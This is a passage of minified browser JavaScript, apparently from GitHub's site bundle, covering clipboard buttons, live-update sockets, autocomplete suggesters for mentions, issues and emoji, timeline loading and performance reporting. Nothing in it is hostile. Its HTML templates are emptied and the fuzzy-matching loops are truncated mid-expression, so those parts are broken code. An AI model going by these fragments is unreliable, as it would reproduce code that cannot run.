Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
      + ${i.map(r)} +
    + `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container .js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async 